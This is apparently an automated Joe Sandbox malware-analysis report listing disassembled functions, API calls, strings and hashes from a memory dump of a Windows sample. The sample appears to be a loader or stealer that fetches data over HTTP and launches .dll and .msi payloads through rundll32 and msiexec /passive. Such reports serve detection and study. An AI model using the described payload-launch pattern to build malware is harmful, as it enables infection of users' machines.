Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: (v$v
API String ID: 3541710228-3418769912
Opcode ID: fc32d279575ee705488509e85063deaf36c01efa87c58fbfb6a3f301fe8c9f6a
Instruction ID: fa8e5c68874576f85c0868160b0eed679bb71d4b40204a9eba935b70d47dbb76
Opcode Fuzzy Hash: fc32d279575ee705488509e85063deaf36c01efa87c58fbfb6a3f301fe8c9f6a
Instruction Fuzzy Hash: BD7144B6A00208ABDB14FBA4DC85FEE77B9AB48300F0045D8F64597191EB75DB49CFA1

Function 00B09010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00B0906C

Strings

image/jpeg, xrefs: 00B09136

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 1d77909cf301c0d694048196107417b4b9a2accd40a0e80b54ab4d819abf9a1e
Instruction ID: 8016809851ec3676bc02ea2ac716fcd224c39c492f0efb9717218d56eb139c1d
Opcode Fuzzy Hash: 1d77909cf301c0d694048196107417b4b9a2accd40a0e80b54ab4d819abf9a1e
Instruction Fuzzy Hash: 1571CEB5A10308ABDB04DBE8DD89FEEBBB8BB48700F108548F655E7290DB759905CB61

Function 6CAFD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAFD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAFD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFD52A
GetCurrentThreadId.KERNEL32 ref: 6CAFD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAFD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFD55F
free.MOZGLUE(00000000), ref: 6CAFD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAFD5D3
GetCurrentThreadId.KERNEL32 ref: 6CAFD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAFD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFD652
GetCurrentThreadId.KERNEL32 ref: 6CAFD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAFD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFD6A2

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 49ead10f38ecfd22980d3b8cb9ca3a602d3d67d9dcbd34fd305054370d9f21d4
Instruction ID: a440a8ec76cf7072d87befc4bc811aff5fecff0568fe45aacd4ec7cd364fcc62
Opcode Fuzzy Hash: 49ead10f38ecfd22980d3b8cb9ca3a602d3d67d9dcbd34fd305054370d9f21d4
Instruction Fuzzy Hash: C1516C71A04705DFC705DF35C484AAABBF4FF89358F108A2EE85A87711DB34A989CB91

Function 00B017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00B017C5
ExitProcess.KERNEL32 ref: 00B017D1

Strings

block, xrefs: 00B017B7

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 5f27c29710c76597739a09df0185a87e9834c305510adb3b9feb7eeba0075040
Instruction ID: 5ff3481474b7ee3ba768f88fa2043f7446d436a0e3374ecb747f8dc0ba702e29
Opcode Fuzzy Hash: 5f27c29710c76597739a09df0185a87e9834c305510adb3b9feb7eeba0075040
Instruction Fuzzy Hash: FF511074A14209EBCB08DFA8D994ABE7BF5BF44704F108898E805A7290D771D952CB62

Function 00B02E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

ShellExecuteEx.SHELL32(0000003C), ref: 00B031C5
ShellExecuteEx.SHELL32(0000003C), ref: 00B0335D
ShellExecuteEx.SHELL32(0000003C), ref: 00B034EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00B03332
C:\Windows\system32\msiexec.exe, xrefs: 00B034BF
"" , xrefs: 00B0309A
/passive, xrefs: 00B0345B
/i ", xrefs: 00B033E4
<, xrefs: 00B03490
.msi, xrefs: 00B03398
.dll, xrefs: 00B031E5

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 156a99473d145cafb5a9148f4e083f6805c9c28ea0ff2f2146a8726991c17110
Instruction ID: 9fa2e7be85eaa226c4bac62a6ae09e47510b6bc47859a862c555ee00d756d0a4
Opcode Fuzzy Hash: 156a99473d145cafb5a9148f4e083f6805c9c28ea0ff2f2146a8726991c17110
Instruction Fuzzy Hash: F312ED719103089ADB05FBA0DD92FDEBBB8AF24300F5085D9E506761D1EF746B4ACB62

Function 6CAEEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAB4A68), ref: 6CAE945E
Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAE9470
Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAE9482
Part of subcall function 6CAE9420: __Init_thread_footer.LIBCMT ref: 6CAE949F

GetCurrentThreadId.KERNEL32 ref: 6CAEEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAEEC8C

Part of subcall function 6CAE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAE94EE
Part of subcall function 6CAE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAE9508

GetCurrentThreadId.KERNEL32 ref: 6CAEECA1
AcquireSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CAEECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CAEECC5
ReleaseSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CAEED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAEED19
CloseHandle.KERNEL32(?), ref: 6CAEED28
free.MOZGLUE(00000000), ref: 6CAEED2F
ReleaseSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CAEED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CAEEC94

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 845da2f63a1ec48a292bb4d484f02c494cb472fecf3987b5a379361638214067
Instruction ID: 0f23a16d014b13cbb2fd214745218fc81fa5e908f0df369dbf6b74489853496c
Opcode Fuzzy Hash: 845da2f63a1ec48a292bb4d484f02c494cb472fecf3987b5a379361638214067
Instruction Fuzzy Hash: 7B212475A00118EBDF00AF24D848ABA3739EF8A36CF144210FC2997740DB799889DBE1

Function 00B052C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF6280: InternetOpenA.WININET(00B10DFE,00000001,00000000,00000000,00000000), ref: 00AF62E1
Part of subcall function 00AF6280: StrCmpCA.SHLWAPI(?,0076ED48), ref: 00AF6303
Part of subcall function 00AF6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF6335
Part of subcall function 00AF6280: HttpOpenRequestA.WININET(00000000,GET,?,0076E588,00000000,00000000,00400100,00000000), ref: 00AF6385
Part of subcall function 00AF6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00AF63BF
Part of subcall function 00AF6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AF63D1

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B05318
lstrlen.KERNEL32(00000000), ref: 00B0532F

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00B05364
lstrlen.KERNEL32(00000000), ref: 00B05383
lstrlen.KERNEL32(00000000), ref: 00B053AE

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Strings

ERROR, xrefs: 00B053B9
ERROR, xrefs: 00B054A9
ERROR, xrefs: 00B0530A
ERROR, xrefs: 00B05432
ERROR, xrefs: 00B0546F

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 204ab7e7536bb67fa6f1ec1677b30a1d3f784b183e5925998c129020df9937cb
Instruction ID: 985395a331507365e2627c123508111a28dcf029a84999b0c4c6751bd94b5f9a
Opcode Fuzzy Hash: 204ab7e7536bb67fa6f1ec1677b30a1d3f784b183e5925998c129020df9937cb
Instruction Fuzzy Hash: 8B51FB709102489BCB14EF64CD96FEE7BB9EF14301F508898F506AA5D1DF34AB46CB62

Function 6CAA3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAA350E
__Init_thread_footer.LIBCMT ref: 6CAA3522
__aulldiv.LIBCMT ref: 6CAA3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CAA3592

Part of subcall function 6CADAB89: EnterCriticalSection.KERNEL32(6CB2E370,?,?,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284), ref: 6CADAB94
Part of subcall function 6CADAB89: LeaveCriticalSection.KERNEL32(6CB2E370,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CADABD1

Strings

kernel32.dll, xrefs: 6CAA34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CAA3508

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ff8b47eec60e92b0f7412cdee83f47749219c62eed79598825a0ee1fdd90e659
Instruction ID: 401819dedf060a80f312b8af7c8d8b22e5852cd08bc734bf11f8fa186b2306ae
Opcode Fuzzy Hash: ff8b47eec60e92b0f7412cdee83f47749219c62eed79598825a0ee1fdd90e659
Instruction Fuzzy Hash: CE31BE71B0121A9BDF00DFB9C948EBAB7B9FB45304F140519E546A3660DA38E945CB60

Function 6CAA4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAE4843,?), ref: 6CAA45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAE4843,?), ref: 6CAA468A
free.MOZGLUE(?,?,?,?,?,?,6CAE4843,?), ref: 6CAA46C9
free.MOZGLUE(?), ref: 6CAA46EF
free.MOZGLUE(?), ref: 6CAA4712
free.MOZGLUE(?), ref: 6CAA4735
free.MOZGLUE(?), ref: 6CAA4758
free.MOZGLUE(?), ref: 6CAA477B
free.MOZGLUE(?), ref: 6CAA479E

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 8f3de6b4744a8df1e430e03c419651fede8fddf30f3e310e068f09cbe79f8767
Instruction ID: 88989628c4fe1a82d1df807a15524c9cf27197d33119de5a82a9ca83108f6b17
Opcode Fuzzy Hash: 8f3de6b4744a8df1e430e03c419651fede8fddf30f3e310e068f09cbe79f8767
Instruction Fuzzy Hash: B0B11371A001508FDB18CEBCD9947AD77B2AF46328F184669F416DBB92DB31D8C68B81

Function 6CB0AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB0AC52
CreateFileMappingW.KERNEL32 ref: 6CB0AC7D
GetSystemInfo.KERNEL32 ref: 6CB0AC98
MapViewOfFile.KERNEL32 ref: 6CB0ACB0
GetSystemInfo.KERNEL32 ref: 6CB0ACCD
MapViewOfFile.KERNEL32 ref: 6CB0AD05
UnmapViewOfFile.KERNEL32 ref: 6CB0AD1C
CloseHandle.KERNEL32 ref: 6CB0AD28
UnmapViewOfFile.KERNEL32 ref: 6CB0AD37
CloseHandle.KERNEL32 ref: 6CB0AD43
CloseHandle.KERNEL32 ref: 6CB0AD67

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
